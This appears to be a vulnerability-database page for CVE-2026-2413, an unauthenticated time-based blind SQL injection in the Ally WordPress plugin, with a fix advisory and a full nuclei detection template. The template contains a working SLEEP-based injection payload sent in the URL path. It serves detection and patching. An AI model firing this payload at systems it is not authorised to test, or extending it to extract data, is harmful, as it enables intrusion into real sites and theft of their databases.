HexBrain

Browse / CVEs / CVE-2026-2413

CVE-2026-2413

Ally – Web Accessibility & Usability <= 4.0.3 - SQL Injection

highseverity
7.5CVSS score
2.4%likelihood of exploitation, next 30 days
84%of all CVEs are less likely
Readycheck to confirm it

The Ally – Web Accessibility & Usability plugin for WordPress is vulnerable to SQL Injection via the URL path in all versions up to, and including, 4.0.3. This is due to insufficient escaping on the user-supplied URL parameter in the `get_global_remediations()` method, where it is directly concatenated into an SQL JOIN clause without proper sanitization for SQL context. While `esc_url_raw()` is applied for URL safety, it does not prevent SQL metacharacters (single quotes, parentheses) from being injected. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database via time-based blind SQL injection techniques. The Remediation module must be active, which requires the plugin to be connected to an Elementor account.

Impact

Unauthenticated attackers can extract sensitive database information via blind SQL injection, risking data disclosure.

Fix

Update to a version later than 4.0.3 or the latest available version.

How to confirm it

Send: @timeout: 30s
Positive when: duration>=8 and status_code==404 || status_code==200 and contains(body, "registerAllyAction")

Run it with nuclei: nuclei -id CVE-2026-2413 -u <target>

The full check
id: CVE-2026-2413

info:
  name: Ally – Web Accessibility & Usability <= 4.0.3 - SQL Injection
  author: Shivam Kamboj
  severity: high
  description: |
    The Ally – Web Accessibility & Usability plugin for WordPress is vulnerable to SQL Injection via the URL path in all versions up to, and including, 4.0.3. This is due to insufficient escaping on the user-supplied URL parameter in the `get_global_remediations()` method, where it is directly concatenated into an SQL JOIN clause without proper sanitization for SQL context. While `esc_url_raw()` is applied for URL safety, it does not prevent SQL metacharacters (single quotes, parentheses) from being injected. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database via time-based blind SQL injection techniques. The Remediation module must be active, which requires the plugin to be connected to an Elementor account.
  impact: |
    Unauthenticated attackers can extract sensitive database information via blind SQL injection, risking data disclosure.
  remediation: |
    Update to a version later than 4.0.3 or the latest available version.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/pojo-accessibility/ally-web-accessibility-usability-403-unauthenticated-sql-injection-via-url-path
    - https://nvd.nist.gov/vuln/detail/CVE-2026-2413
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-2413
    epss-score: 0.02396
    epss-percentile: 0.84137
  metadata:
    max-request: 1
    verified: true
  tags: cve,cve2026,wordpress,wp,wp-plugin,sqli,pojo-accessibility,unauth,vkev

http:
  - raw:
      - |
        @timeout: 30s
        GET /x'OR(EXP(~(SELECT*FROM(SELECT(SLEEP(8)))a)))OR'/ HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

    matchers:
      - type: dsl
        dsl:
          - 'duration>=8'
          - 'status_code==404 || status_code==200'
          - 'contains(body, "registerAllyAction")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from